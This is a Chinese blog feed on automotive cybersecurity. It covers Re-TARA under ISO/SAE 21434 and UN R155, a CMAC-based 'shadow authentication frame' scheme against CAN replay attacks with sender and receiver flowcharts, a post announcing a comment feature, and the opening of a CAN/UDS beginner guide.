title="Re-TARA"></a>Re-TARA</h1><p>Re-TARA是指在初始TARA完成后，系统实现、并通过验证测试后，对残余风险进行的重新威胁分析与风险评估，其本质上是TARA方法的迭代应用，目的是确认已实施的安全措施是否有效降低了风险，并评估当前残余风险是否仍可接受，注意，此处的残余风险有两个意思：</p><ul><li>经过整改后，还是无法解决这个风险</li><li>经过整改后，已经验证了安全措施有效，但网络安全不是静态的，安全措施只是当前有效不代表以后没有新漏洞、新攻击技术利用，所以此处的验证有效只代表当前状态，所以此时结果是降低风险到可接受，而不是代表“已安全”（无法永远安全），所以此时这一项就成了残余风险，需要后续管理<h2 id="怎么做Re-TARA"><a href="#怎么做Re-TARA" class="headerlink" title="怎么做Re-TARA"></a>怎么做Re-TARA</h2></li><li>*输入材料**：初始TARA报告、已实现的网络安全需求、验证测试结果、变更记录、新漏洞情报</li><li>*过程**：</li><li>重新审视威胁场景和攻击路径，评估措施实施后攻击可行性是否降低</li><li>重新计算风险值</li><li>对残余风险决定“接受”（记录网络安全声明）或进一步措施</li><li>*输出材料**：</li><li>残余风险列表及网络安全声明（接受理由）</li><li>监控计划</li></ul><h1 id="结语"><a href="#结语" class="headerlink" title="结语"></a>结语</h1><p>TARA作为ISO/SAE 21434定义的核心风险评估方法，在UN R155法规框架下不仅是技术工具，更是车辆型式认证和CSMS运行的合规基石，通过系统识别资产、威胁、损害、可行性，并最终转化为网络安全目标和需求，TARA确保了风险从识别到缓解的全链条闭环，在实际项目中，TARA需结合法规基准（附录5参考场景）和供应链协作（供应商组件级结果整合），尤其整车级要重点关注集成引入的新风险，持续迭代和监控是保持车辆生命周期网络安全的关健</p><h1 id="说明"><a href="#说明" class="headerlink" title="说明"></a>说明</h1><ul><li>输出的TARA示例图每个都是单独例子，请不要串联</li><li>TARA真的是一个复杂的工作，光粗略的写都能有近万字，其中的过程其实还有很多种方法这里没有提及，请谅解，如果你有我的联系方式，我们可以交流一下</li><li>重申：TARA有很多方法，如果我讲的跟你想的不一致请不要喷，不好的评论我会删</li><li>ReTARA网络安全不是静态这个概念是之前在某个认证现场跟老外讨论并且后面本人已经做过了的，我觉得是真可以</li><li>TARA需要尽早开展，避免后期大返工（最好是车型立项开始选供应商阶段，OEM提供初步安全需求作为选型标准，签订合同后开始完成TARA，这个过程大概有7-12个月或以上，贯穿整个车型周期）</li></ul><h1 id="最后"><a href="#最后" class="headerlink" title="最后"></a>最后</h1><p>我是novy，目前在天问实验室从事车联网安全研究以及相关的体系法规认证工作，我们团队主要解决智能汽车的数据通信安全和合规落地等问题，帮助车企和供应商应对国内外法规挑战，希望本文能为大家提供帮助，在车辆网络安全工程中更高效地实现法规符合性和风险控制</p><h1 id="参考链接："><a href="#参考链接：" class="headerlink" title="参考链接："></a><strong>参考链接：</strong></h1><p>R155法规原文：</p><p><a href="https://unece.org/transport/documents/2021/03/standards/un-regulation-no-155-cyber-security-and-cyber-security">https://unece.org/transport/documents/2021/03/standards/un-regulation-no-155-cyber-security-and-cyber-security</a></p><p>GRVA对R155法规的解释文档：</p><p><a href="https://unece.org/transport/documents/2022/04/working-documents/grva-proposal-amendments-interpretation-document-un">https://unece.org/transport/documents/2022/04/working-documents/grva-proposal-amendments-interpretation-document-un</a></p><p>说明参考：</p><p><a href="https://novysodope.github.io/2024/12/08/114/#%E8%80%8C%E4%B8%94%E6%81%B6%E8%AF%84%E8%BF%98%E5%8F%AF%E4%BB%A5%E5%88%A0">https://novysodope.github.io/2024/12/08/114/#%E8%80%8C%E4%B8%94%E6%81%B6%E8%AF%84%E8%BF%98%E5%8F%AF%E4%BB%A5%E5%88%A0</a></p><p>ISO/SAE21434介绍：</p><p><a href="https://blog.csdn.net/qq_33163046/article/details/123524602">https://blog.csdn.net/qq_33163046/article/details/123524602</a></p>]]></content>
    
    
    <categories>
      
      <category>车联网</category>
      
    </categories>
    
    
    <tags>
      
      <tag>车联网</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>利用影子认证帧在标准CAN上实现防重放的技术方案</title>
    <link href="/2025/08/31/117/"/>
    <url>/2025/08/31/117/</url>
    
    <content type="html"><![CDATA[<p>一个几乎百搭、不改架构、低成本就能落地的整车防重放方案，不是什么颠覆性创新，但或许能给大家带来一点启发：</p><p><em>把原来单独的业务指令（业务帧）变成一个 “指令+动态密码” 的组合，这个 “动态密码” 被打包在一个单独的帧里，这里称为认证帧。因为认证帧和指令帧绑定且紧随其后，就像影子一样，所以这里就叫它 “影子认证帧”</em></p><p>也就是说，要实现该方案只需要给每一个关键控制帧后面额外增加一帧即可。如果觉得单纯计数器不够安全、本身没有用CANFD、想低成本短时间满足要求的可以参考本文。下面，给大家解析这个方案该如何开展</p><h2 id="确定保护范围"><a href="#确定保护范围" class="headerlink" title="确定保护范围"></a>确定保护范围</h2><p>因为方案是基于“<strong>庞大的整车电子电气架构牵一发而动全身，改造起来成本高昂、协同困难或没有多余的数据场位做校验</strong>”的原因考虑，所以在开始实施的阶段，我们只需要筛选出一些需要防重放的报文，而不是所有：</p><ul><li>识别网络中所有需要防重放保护的关键控制功能（可以根据TARA也可以自己凭经验列举）</li><li>列出这些关键帧的CAN ID清单</li></ul><h2 id="影子认证帧ID分配规则"><a href="#影子认证帧ID分配规则" class="headerlink" title="影子认证帧ID分配规则"></a>影子认证帧ID分配规则</h2><p>筛选出清单后，需要为清单中的每一个关键帧CAN ID (<code>x</code>) 分配一个唯一的影子认证帧CAN ID (<code>x&#39;</code>)</p><p><strong>分配规则</strong>：<code>x&#39; = x + Base_Numb</code>（例如，<code>Base_Numb = 0x100</code>），或根据预定义的映射表进行分配</p><p><strong>前置条件</strong>：必须确保所有分配的 <code>x&#39;</code> 不与网络中任何现有帧ID发生冲突，需要查询整车CAN矩阵进行确认</p><p><strong>示例：</strong>需要做防重放的关键帧ID为<code>0x100</code>，那么根据前面分配规则说到的公式<code>0x100 + 0x100 = 0x200</code>，分配的影子认证帧ID就为<code>0x200</code></p><h2 id="影子认证帧数据结构"><a href="#影子认证帧数据结构" class="headerlink" title="影子认证帧数据结构"></a>影子认证帧数据结构</h2><p>参照标准CAN格式，统一影子认证帧的数据场格式为8字节，具体定义如下：</p><table><thead><tr><th><strong>字节索引</strong></th><th><strong>字段名称</strong></th><th><strong>长度</strong></th><th><strong>值/描述</strong></th></tr></thead><tbody><tr><td>0</td><td>计数器<br>(<code>ctr</code>)</td><td>1 Byte</td><td>单调递增的计数值，范围<code>0x00~0xFF（0-255）</code>，发送后递增</td></tr><tr><td>1</td><td>认证标签高字节<br>(<code>Tag_H</code>)</td><td>1 Byte</td><td>由CMAC算法生成的16位认证标签的高位字节</td></tr><tr><td>2</td><td>认证标签低字节<br>(<code>Tag_L</code>)</td><td>1 Byte</td><td>由CMAC算法生成的16位认证标签的低位字节</td></tr><tr><td>3-7</td><td>时间戳/状态<br>(<code>Time_Stamp</code>)</td><td>N Byte</td><td>用于同步或增强防回滚能力的时间片或状态字，剩余可填充0xAA</td></tr></tbody></table><h2 id="算法和密钥管理"><a href="#算法和密钥管理" class="headerlink" title="算法和密钥管理"></a>算法和密钥管理</h2><ul><li>为了方便管理，统一加密算法为AES128-CMAC（或其他算法）</li><li>为所有关键帧ID(<code>x</code>)分配一个统一的加密密钥(<code>key</code>) //实际上应该是为每一个关键帧ID单独分配密钥更安全，但考虑到大多数不想这么麻烦，所以可以改成统一密钥</li><li>通过安全刷写将密钥 (<code>key</code>) 写入发送ECU和接收ECU的安全存储中，如果没有条件存储，可以将密钥编码在固件中</li></ul><h2 id="技术实现"><a href="#技术实现" class="headerlink" title="技术实现"></a>技术实现</h2><h3 id="发送端ECU实现"><a href="#发送端ECU实现" class="headerlink" title="发送端ECU实现"></a>发送端ECU实现</h3><p>发送端需要在原有发送流程中集成以下步骤：</p><p>1.当应用层请求发送受保护的关键帧(<code>s</code>)时，获取当前计数器值(<code>ctr</code>)以及当前时间片 <code>Time_Stamp</code></p><p>2.构造CMAC计算所需的输入数据：<code>Input = s.ID (2B) || s.DATA (8B) || ctr (1B) || Time_Stamp (1B)</code> //此处时间戳假设为1个字节，如果不够，根据情况扩充</p><p>3.使用密钥(<code>key</code>)计算CMAC：<code>Full_Tag = CMAC(key, Input)</code></p><p>4.截取<code>Full_Tag</code>的前16个比特位作为本次发送的认证标签(<code>Tag16</code>) //2个字节，填充高低位</p><p>5.先发送业务帧(<code>s</code>)</p><p>6.然后发送影子认证帧(<code>x&#39;</code>)，数据场按数据结构的定义格式填充：</p><figure class="highlight csharp"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs csharp">[<span class="hljs-meta">ctr, Tag_H, Tag_L, Time_Stamp, 0xAA, 0xAA, 0xAA, 0xAA</span>]<br></code></pre></div></td></tr></table></figure><p>7.发送成功后，更新计数器(<code>ctr</code>)</p><h4 id="逻辑流程图如下"><a href="#逻辑流程图如下" class="headerlink" title="逻辑流程图如下"></a>逻辑流程图如下</h4><figure class="highlight plain"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs graphql">graph TD<br>    A[开始发送] --&gt; B[获取ctr和Time_Stamp]<br>    B --&gt; C[构造CMAC输入数据]<br>    C --&gt; D[计算并截取Tag16]<br>    D --&gt; E[发送业务帧s]<br>    E --&gt; F[发送影子认证帧x&#39;]<br>    F --&gt; G[更新计数器]<br>    G --&gt; H[结束]<br></code></pre></div></td></tr></table></figure><p><img src="/images/117/Ryx7-nJ9UwGhZbyQKTVrDEP_BSAuivKO9NOSdjCe2EA.png" alt="image"></p><h3 id="接收端ECU实现"><a href="#接收端ECU实现" class="headerlink" title="接收端ECU实现"></a>接收端ECU实现</h3><p>接收端需要实现一个新的验证状态机制：</p><p>1.当收到业务帧(<code>s</code>)时，将其数据副本与接收时间戳存入缓存池，并暂停该帧的应用层处理</p><p>2.启动一个定时器（根据业务和网络负载调整），等待对应的影子认证帧(<code>x&#39;</code>)</p><p>3.超时处理：若超时仍未收到(<code>x&#39;</code>)，则从缓存中丢弃该业务帧(<code>s</code>)，不再处理</p><p>4.若收到影子认证帧(<code>x&#39;</code>)：</p><p><strong>a.</strong> 从缓存中查找与之匹配的业务帧(<code>s</code>)</p><p><strong>b.</strong> 从(<code>x&#39;</code>)数据场中提取 <code>ctr_recv</code> 和 <code>Tag16_recv</code>以及<code>Time_Stamp_recv</code></p><p><strong>c.</strong> 使用密钥 (<code>key</code>)、缓存的<code>s.ID</code>、<code>s.DATA</code> 以及提取的 <code>ctr_recv</code>、<code>Time_Stamp_recv</code>，按照发送流程重新计算期望的认证标签(<code>Tag16_calc</code>)</p><p><strong>d.</strong> 计算输入：<code>Input_calc = s.ID (2B) || s.DATA (8B) || ctr_recv (1B) || Time_Stamp_recv (1B)</code></p><p><strong>e.</strong> 计算：<code>Tag16_calc = Truncate(CMAC(key, Input_calc), 16)</code> //截断取前两个字节用作高低位</p><p><strong>f.</strong> 验证对比：</p><ul><li>若 <code>Tag16_calc != Tag16_recv</code>，验证失败，丢弃业务帧(<code>s</code>)，不再处理</li><li>若 <code>Tag16_calc == Tag16_recv</code>，进行<code>Time_Stamp</code>有效性校验和计数器防重放检查</li></ul><p>5.清除缓存中对应的业务帧(<code>s</code>)</p><p>6.更新计数器</p><h4 id="逻辑流程图如下-1"><a href="#逻辑流程图如下-1" class="headerlink" title="逻辑流程图如下"></a>逻辑流程图如下</h4><figure class="highlight plain"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs graphql">graph TD<br>    A[收到业务帧s] --&gt; B&#123;帧s.ID是否在&lt;br&gt;受保护列表?&#125;<br>    B -- 否 --&gt; C[提交应用层处理]<br>    B -- 是 --&gt; D[缓存s.ID与s.DATA&lt;br&gt;启动超时定时器]<br>    <br>    D --&gt; E&#123;在超时时间内&lt;br&gt;收到影子认证帧x&#39;?&#125;<br>    E -- 否 --&gt; F[丢弃缓存帧s&lt;br&gt;（可选项）：触发超时告警]<br>    <br>    E -- 是 --&gt; G[提取ctr_recv, Tag16_recv, Time_Stamp_recv]<br>    G --&gt; H[根据缓存数据计算&lt;br&gt;Tag16_calc]<br>    H --&gt; I&#123;Tag16_calc &#x3D;&#x3D;&lt;br&gt;Tag16_recv?&#125;<br>    I -- 否 --&gt; J[认证失败&lt;br&gt;丢弃帧s]<br>    <br>    I -- 是 --&gt; K&#123;Time_Stamp_recv有效?&lt;br&gt;（等于或接近My_Time_Stamp）&#125;<br>    K -- 否 --&gt; L[时间片无效→重放攻击&lt;br&gt;丢弃帧s]<br>    <br>    K -- 是 --&gt; M&#123;ctr_recv有效?&lt;br&gt;（在预期狭小窗口内）&#125;<br>    M -- 否 --&gt; N[计数器无效→重放攻击&lt;br&gt;丢弃帧s]<br>    <br>    M -- 是 --&gt; O[验证成功]<br>    O --&gt; P[提交业务帧s至应用层]<br>    O --&gt; Q[更新last_valid_ctr &#x3D; ctr_recv]<br>    <br>    J --&gt; R[结束]<br>    L --&gt; R<br>    N --&gt; R<br>    P --&gt; R<br>    Q --&gt; R<br>    <br>    subgraph 接收端统一清理<br>        R[清除缓存中本帧记录]<br>    end<br></code></pre></div></td></tr></table></figure><p><img src="/images/117/GNFlkRJklKbj5jQ3zR9uM33yfu9AFI3LFScKkiV3KOs.png" alt="image"></p><h3 id="示例"><a href="#示例" class="headerlink" title="示例"></a>示例</h3><h4 id="发送端："><a href="#发送端：" class="headerlink" title="发送端："></a>发送端：</h4><p>场景： <code>100</code></p><p>1.业务帧(<code>s</code>)：</p><figure class="highlight csharp"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs csharp">s.ID = <span class="hljs-number">0x100</span><br>s.DATA = [<span class="hljs-number">0x01</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>]<br></code></pre></div></td></tr></table></figure><p>2.获取静态配置：</p><ul><li>密钥 <code>key = 0xsecretkey</code></li><li>影子认证帧ID <code>x&#39; = 0x200</code></li><li>当前计数器 <code>ctr = 0x0B</code></li><li>当前时间片 <code>Time_Stamp = 0x03</code></li></ul><p>3.执行流程：</p><p><strong>a.</strong> 拼接 Input： <code>0x100 + [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00] + 0x0B + 0x03</code></p><p><strong>b.</strong> 用 <code>key </code>计算 <code>Input </code>的<code>CMAC</code>，得到 <code>Tag16</code></p><p><strong>c.</strong> 发送第一帧（业务帧）：</p><figure class="highlight csharp"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs csharp">ID=<span class="hljs-number">0x100</span>, Data=[<span class="hljs-number">0x01</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>]<br></code></pre></div></td></tr></table></figure><p><strong>d.</strong> 发送第二帧（认证帧）：</p><figure class="highlight csharp"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs csharp">ID=<span class="hljs-number">0x200</span>, Data=[<span class="hljs-number">0x0B</span>, Tag_H, Tag_L, <span class="hljs-number">0x03</span>, <span class="hljs-number">0xAA</span>, <span class="hljs-number">0xAA</span>, <span class="hljs-number">0xAA</span>, <span class="hljs-number">0xAA</span>]<br></code></pre></div></td></tr></table></figure><p><strong>e.</strong> 将 <code>0x100</code> 对应的计数器加一，变为 <code>0x0C</code></p><h5 id="发送端示例流程图"><a href="#发送端示例流程图" class="headerlink" title="发送端示例流程图"></a>发送端示例流程图</h5><figure class="highlight plain"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs graphql">flowchart TD<br>    A[应用层请求发送关键帧s] --&gt; B[获取ctr和Time_Stamp]<br>    B --&gt; C[构造输入数据: Input &#x3D; s.ID + s.DATA + ctr + Time_Stamp]<br>    C --&gt; D[计算Full_Tag &#x3D; CMACkey, Input]<br>    D --&gt; E[截取Tag16 &#x3D; 前16位]<br>    E --&gt; F[发送业务帧s]<br>    F --&gt; G[发送影子认证帧x&#39;&lt;br&gt;数据: ctr, Tag_H, Tag_L, Time_Stamp, 填充]<br>    G --&gt; H[更新计数器: ctr &#x3D; ctr + 1]<br>    H --&gt; I[发送完成]<br><br>    subgraph 示例配置<br>        J[帧ID: 0x100]<br>        K[数据: 0100000000000000]<br>        L[计数器: 0x0B]<br>        M[时间片: 0x03]<br>        N[影子认证帧ID: 0x200]<br>        O[密钥: 0xsecretkey]<br>    end<br></code></pre></div></td></tr></table></figure><p><img src="/images/117/pz1BM8JDwUL5aJbYLmdZBV7fTddax8qKoYxSeHQMHEE.png" alt="image"></p><h4 id="接收端："><a href="#接收端：" class="headerlink" title="接收端："></a>接收端：</h4><p>接收端自身维护一个当前的有效时间片值<code>My_Time_Stamp</code>（比如由网关同步或根据自身系统时间计算得出）和为每个发送源（或每个帧ID）维护一个最后有效的计数器值(<code>last_valid_ctr</code>)</p><p>校验流程：</p><p>1.总线收到一帧：<code>ID=0x100, Data=[0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]</code></p><p><strong>a.接收端逻辑</strong>：这是受保护的关键帧<code>s</code>，我需要等待它的影子认证帧进行验证</p><p><strong>b.动作</strong>：将这份数据<code>s.ID</code> 和 <code>s.DATA</code> 存入缓存池，并暂停对该帧的应用层处理，启动一个定时器（例如200ms）</p><p>2.总线收到下一帧：<code>ID=0x200, Data=[0x0B, Tag_H, Tag_L, 0x03, 0xAA, 0xAA, 0xAA, 0xAA]</code></p><p><strong>a.接收端逻辑</strong>：这是我正在等待对应 <code>0x100</code> 的影子认证帧</p><p><strong>b.动作：</strong></p><p>1）从缓存中查找影子认证帧对应的<code>ID=0x100</code>业务帧数据</p><p>2）从影子认证帧数据场中提取：</p><figure class="highlight csharp"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs csharp">* ctr_recv = <span class="hljs-number">0x0B</span><br>* Tag16_recv = <span class="hljs-number">0x0102</span> (高字节<span class="hljs-number">0x01</span> + 低字节<span class="hljs-number">0x02</span>) <span class="hljs-comment">//Tag_H、Tag_L，此处假设是0102</span><br>* Time_Stamp_recv = <span class="hljs-number">0x03</span><br></code></pre></div></td></tr></table></figure><p>3.接收端开始重现发送端的计算过程：</p><p><strong>a.</strong> <code>Input_calc = s.ID (2B) || s.DATA (8B) || ctr_recv (1B) || Time_Stamp_recv (1B) //拼接输入</code></p><p><strong>b.</strong> <code>Full_Tag_calc = CMAC(key, Input_calc) //计算CMAC</code></p><p><strong>c.</strong> <code>Tag16_calc = Truncate(Full_Tag_calc, 16) //取前两个字节</code></p><p>4.比较 <code>Tag16_calc (0x0102)</code> 和 <code>Tag16_recv (0x0102)</code>，通过则下一步，不通过丢弃</p><p>5.检查时间片：比较<code>Time_Stamp_recv</code>和接收端自己的<code>My_Time_Stamp</code>，通过则下一步，不通过丢弃</p><p>6.检查计数器：接收端预期下一个计数器是 <code>0x0B</code>，收到的<code>ctr_recv</code>是<code>0x0B</code>，通过则执行动作，不通过丢弃</p><p>7.更新 <code>last_valid_ctr = ctr_recv</code></p><h5 id="接收示例流程图"><a href="#接收示例流程图" class="headerlink" title="接收示例流程图"></a>接收示例流程图</h5><figure class="highlight plain"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs graphql">flowchart TD<br>    A[收到业务帧s] --&gt; B&#123;受保护帧?&#125;<br>    B -- 否 --&gt; C[提交应用层]<br>    B -- 是 --&gt; D[缓存数据并启动定时器]<br>    D --&gt; E&#123;收到影子认证帧?&#125;<br>    E -- 超时 --&gt; F[丢弃帧s]<br>    E -- 收到 --&gt; G[提取ctr_recv, Tag16_recv, Time_Stamp_recv]<br>    G --&gt; H[计算Tag16_calc]<br>    H --&gt; I&#123;标签验证?&#125;<br>    I -- 失败 --&gt; J[认证失败→丢弃]<br>    I -- 成功 --&gt; K&#123;时间片有效?&#125;<br>    K -- 无效 --&gt; L[时间片无效→丢弃]<br>    K -- 有效 --&gt; M&#123;计数器有效?&#125;<br>    M -- 无效 --&gt; N[计数器无效→丢弃]<br>    M -- 有效 --&gt; O[验证成功]<br>    O --&gt; P[提交应用层]<br>    O --&gt; Q[更新last_valid_ctr]<br>    F --&gt; R[清理缓存]<br>    J --&gt; R<br>    L --&gt; R<br>    N --&gt; R<br>    P --&gt; R<br>    Q --&gt; R<br>    subgraph 示例数据<br>        S[业务帧: ID&#x3D;0x100, Data&#x3D;0100000000000000]<br>        T[影子认证帧: ID&#x3D;0x200, Data&#x3D;0B010203AAAAAAAA]<br>        U[提取: ctr&#x3D;0x0B, Time_Stamp&#x3D;0x03]<br>    end<br></code></pre></div></td></tr></table></figure><p><img src="/images/117/wy6LvdxDymo4TIyLJ1Xv2PgeldopjjXz3fkX9Tvxn6o.png" alt="image"></p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>本方案结合了之前的项目，有成功落地的案例，并在此基础上做了优化，后面可以根据自身情况更改、删减一些做不到的或根据自身条件增加更多的验证</p><p>最后，别感冒<br><img src="/images/117/P4iFQ1mqCnSGZfjhbHGLyBMqqVU3uplI0dbMS58Fgzg.png" alt="image"></p>]]></content>
    
    
    <categories>
      
      <category>车联网</category>
      
    </categories>
    
    
    <tags>
      
      <tag>车联网</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>博客新增评论功能</title>
    <link href="/2024/12/08/114/"/>
    <url>/2024/12/08/114/</url>
    
    <content type="html"><![CDATA[<p>考虑了很久还是决定加一个评论功能，为了防止被骂所以用了utterances，评论需要先登录，这样谁骂我我就能看得一清二楚</p><h1 id="而且恶评还可以删"><a href="#而且恶评还可以删" class="headerlink" title="而且恶评还可以删"></a>而且恶评还可以删</h1><p><img src="/images/114/111.png" alt="image"></p><p>另外加了个RSS和文章封面</p>]]></content>
    
    
    <categories>
      
      <category>博客大事件</category>
      
    </categories>
    
    
    <tags>
      
      <tag>博客大事件</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>车联网安全入门指南</title>
    <link href="/2024/11/08/113/"/>
    <url>/2024/11/08/113/</url>
    
    <content type="html"><![CDATA[<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>我觉得接触车联网更重要的是要先学会CAN总线的知识，所以就从CAN（UDS方向）开始好了，为了避免浪费大家时间，先放出目录：</p><p><img src="/images/113/beCjLRGu8XDwXFRhJciHtM-xUy0PnUM1ldMctaSAFCo.png" alt="image"></p><p>下面正式开始</p><h1 id="车都是怎么通信的？"><a href="#车都是怎么通信的？" class="headerlink" title="车都是怎么通信的？"></a>车都是怎么通信的？</h1><h2 id="车内CAN通信"><a href="#车内CAN通信" class="headerlink" title="车内CAN通信"></a>车内CAN通信</h2><h3 id="早期的汽车控制"><a href="#早期的汽车控制" class="headerlink" title="早期的汽车控制"></a>早期的汽车控制</h3><p>在很久以前车刚被造出来的时候，功能单一，只有踏板离合转向控制，其中离合器通过机械连接传递发动机的动力，而制动系统则通过简单的机械连接（比如开关）来控制制动动作。随着单片机的普及，车内功能越来越复杂，零部件越来越多，简单的机械控制已经满足不了车辆的运行，于是<code>CAN总线（Controller Area Network）</code>诞生了。</p><h3 id="CAN总线"><a href="#CAN总线" class="headerlink" title="CAN总线"></a>CAN总线</h3><p>大量的<code>ECU（Electronic Control Unit）</code>被引入汽车，为了管理和协调这些ECU之间的通信，博世公司在1983年开发了控制器区域网络系统，也就是CAN总线。CAN的首次应用是在奔驰500E的车型上。下图为比较经典的CAN架构示例</p><p><img src="/images/113/0Gx9bRQO5UGdoz020F6gYnhHvFBj4hPWNl9axsW9vow.png" alt="image"></p><h4 id="CAN高低"><a href="#CAN高低" class="headerlink" title="CAN高低"></a>CAN高低</h4><p>车上的CAN总线通常为双绞线，两根线分别是高电平数据传输线和低电平数据传输线，也就是平常说的<code>CAN_H（CAN_High）</code>和<code>CAN_L（CAN_Low）</code>。</p><p><img src="/images/113/4EvWWd7iqEAfLYk0m8ivPPbArr8p1kmKjfzpjKK1kwg.png" alt="image"></p><p>两根线的主要原因是为了实现差分信号传输，增强抗干扰能力和提高数据传输的稳定性，总的来说，这个设计是为了在复杂的电磁环境中实现稳定、可靠的数据传输，确保汽车电子控制系统的高效运行。</p><h5 id="TIPS"><a href="#TIPS" class="headerlink" title="TIPS"></a>TIPS</h5><p>有时候线束一大把却没有线束定义，可以参考口诀“<code>黄高绿低”</code>，即业内一般把黄线用作CAN高，绿线用作CAN低</p><h4 id="CAN波特率"><a href="#CAN波特率" class="headerlink" title="CAN波特率"></a>CAN波特率</h4><p>为了确保车内零部件之间数据传输的同步性和可靠性，CAN总线使用波特率来表示速率。CAN协议支持不同的通信速率，以满足不同的应用需求，低速CAN的通信速率范围为<code>10~125kbps</code>；高速CAN的通信速率范围为<code>125kbps</code>到<code>1Mbps</code>（这里的高低指的总线传输速率，不是<code>CAN_H/CAN_L</code>，<code>CAN_H/CAN_L</code>指的是连接CAN接口用来做数据交换的两根数据传输线）</p><p><img src="/images/113/CuHBffHPYTy7VFg3KMPi92IokxeCw0na26TtT2cDDIA.png" alt="image"></p><h4 id="CAN报文"><a href="#CAN报文" class="headerlink" title="CAN报文"></a>CAN报文</h4><h5 id="扩展帧和标准帧"><a href="#扩展帧和标准帧" class="headerlink" title="扩展帧和标准帧"></a>扩展帧和标准帧</h5><p>在总线中传送的报文，每帧由7部分组成。CAN协议支持两种报文格式：标准帧和扩展帧。标准格式的CANID为<code>11</code>位，扩展格式的CANID为<code>29</code>位，比如：</p><p>标准帧：ID区间是<code>0x000-0x7FF</code>（换算成10进制就是0-2047），<code>7FF</code>转换为二进制就是<code>11111111111</code>（11位）</p><p>扩展帧：ID区间是<code>0x000000-0x1FFFFFFF</code>（换算成10进制就是0-536870911），<code>1FFFFFFF</code>转换为二进制就是<code>1111111111111111111111111111111</code>（29位）</p><h5 id="报文识别"><a href="#报文识别" class="headerlink" title="报文识别"></a>报文识别</h5><h6 id="请求"><a href="#请求" class="headerlink" title="请求"></a>请求</h6><p>在CAN总线中，标识符用于定义报文的优先级和寻址，标识符后带的就是数据字段，按照预先设计开发的功能进行请求响应。以扩展帧<code>18DBFFF1#0210030000000000</code>为例，在数据部分中，报文格式可以进一步细分：</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">02：02 表示该帧的数据长度为 2 字节，意味着本次传输的数据实际只有 2 个字节，即1003。注意该帧需要随着请求的长度进行变化，要发送几个字节就是零几，比如发送10 03两个字节就是02 10 03，同理，发送27 02 11 22就是4个字节，用04 27 02 11 22；<br><br>1003：1003 